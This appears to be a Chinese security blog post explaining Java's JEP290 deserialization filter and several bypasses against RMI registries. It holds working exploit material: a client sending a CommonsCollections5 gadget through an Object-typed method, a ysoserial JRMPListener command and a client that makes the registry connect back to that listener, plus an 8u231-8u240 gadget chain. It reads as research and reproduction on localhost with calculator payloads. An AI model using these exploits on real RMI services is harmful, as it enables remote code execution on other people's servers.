JEP290

  1. 1. JEP290
  2. 2. 作用
  3. 3. Bypass
    1. 3.1. Object参数bypass
    2. 3.2. jrmpBypass
    3. 3.3. 8u231-8u240JRMPBypass

JEP290

jep290是 Java 为了防御反序列化攻击而设置的一种过滤器,其在 JEP 项目中编号为290,因而通常被简称为jep290

作用

  • Provide a flexible mechanism to narrow the classes that can be deserialized from any class available to an application down to a context-appropriate set of classes. [提供一个限制反序列化类的机制,白名单或者黑名单]
  • Provide metrics to the filter for graph size and complexity during deserialization to validate normal graph behaviors. [限制反序列化的深度和复杂度]
  • Provide a mechanism for RMI-exported objects to validate the classes expected in invocations. [ 为RMI远程调用对象提供了一个验证类的机制]
  • The filter mechanism must not require subclassing or modification to existing subclasses of ObjectInputStream. [定义一个可配置的过滤机制,比如可以通过配置 properties文件的形式来定义过滤器]

Bypass

一下两种方式设置jep290

  1. 通过setObjectInputFilter来设置filter
  2. 直接通过conf/security/java.properties文件进行配置 参考

其核心实际上就是提供了一个名为 ObjectInputFilter 的接口,用户在进行反序列化操作的时候,将 filter 设置给 ObjectInputStream 对象。

每当进行一次反序列化操作时,底层就会根据 filter 中的内容来进行判断,从而防止恶意的类进行反序列化操作。此外,还可以限制反序列化数据的信息,比如数组的长度、字节流长度、字节流深度以及使用引用的个数等。filter 返回 accept,reject 或者 undecided 几个状态,然后用户根据状态进行决策。

而对于RMI来说,主要是导出远程对象前,先要执行过滤器逻辑,然后才进行接下来的动作,即对反序列化过程执行检查。

可以简单看一下java.io.ObjectInputStream源码

1651567767724.png

开个rmi服务(jdk8u121以上)用yso打一下,可以看到报错。

1651567091494.png

class sun.reflect.annotation.AnnotationInvocationHandler被拒绝

1651567183782.png

RMI是通过readObject以此拿到Remote远程对象引用的,详情可以看RegistryImpl_Skel源码

最后会来到sun.rmi.registry.RegistryImpl#registryFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}

if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 != null) {
if (!var2.isArray()) {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
} else {
return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
}
} else {
return Status.UNDECIDED;
}
}
}

调用栈:

1651567959014.png

白名单里没有AnnotationInvocationHandler所以报错

Object参数bypass

Y4er师傅的思路,如果RMI服务暴漏了Object参数类型的方法,就可以注入。

比如RMI服务绑定这样的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class HelloImpl extends UnicastRemoteObject implements Hello {
protected HelloImpl() throws RemoteException {
}

public String hello() throws RemoteException {
return "hello world";
}

public String hello(String name) throws RemoteException {
return "hello" + name;
}

public String hello(Object object) throws RemoteException {
System.out.println(object);
return "hello "+object.toString();
}
}

RMIClient这样就能执行命令

1
2
3
4
5
6
7
8
9
10
11
public class RMIClient {
public static void main(String[] args) {
try{
Hello rt = (Hello) Naming.lookup("rmi://127.0.0.1:1099/hello");
String result = rt.hello(new CC5().getObject("/System/Applications/Calculator.app/Contents/MacOS/Calculator"));
System.out.println(result);
}catch (Exception e){
e.printStackTrace();
}
}
}

jrmpBypass

是ysoserial里的JRMPListener

lookup时返回的是一个封装了UnicastRef对象的RegistryImpl_Stub,这个UnicastRef封装了LiveRef,TCPEndpoint对象封装了端口和host信息。

1651579588253.png

1651579939479.png

之后我们是根据这个Stub对象去连接 Registry

如果能控制端口和host的信息,就能够发起任意的jrmp请求

直接用ysoserial复现

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "open -a Calculator"

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package jep290;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class JRMPBypass {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPBypass.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("Hello",proxy);
}
}

1651581289709.png

调试一下看看

RemoteObject是一个抽象类,实现了Remote 和 Serializable 接口,说明他可以通过白名单检测。

在RemoteObject的readObject会调用UnicastRef.readExternal

1651581912884.png

readExternal调用了LiveRef.read,这个方法读取了ConnectionInputStream里的host和port信息,指向的是yso开启的jrmp

1651582107730.png

反序列化结束之后就来到这里

1651584626831.png

1651584716301.png

1651584782892.png

可以看到根据之前封装的端口和host信息用DGCClient对jrmp发起连接。

1651584815967.png

1651585079825.png

具体实现细节看yso源码即可。

8u231-8u240JRMPBypass

是一条直接发起jrmp请求的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
客户端发送数据 –> 服务端反序列化(RegistryImpl_Skle#dispatch)
UnicastRemoteObject#readObject –>
UnicastRemoteObject#reexport –>
UnicastRemoteObject#exportObject –> overload
UnicastRemoteObject#exportObject –>
UnicastServerRef#exportObject –> …
TCPTransport#listen –>
TcpEndpoint#newServerSocket –>
RMIServerSocketFactory#createServerSocket –> Dynamic Proxy(RemoteObjectInvocationHandler)
RemoteObjectInvocationHandler#invoke –>
RemoteObjectInvocationHandler#invokeMethod –>
UnicastRef#invoke –> (Remote var1, Method var2, Object[] var3, long var4)
StreamRemoteCall#executeCall –>
ObjectInputSteam#readObject –> “pwn”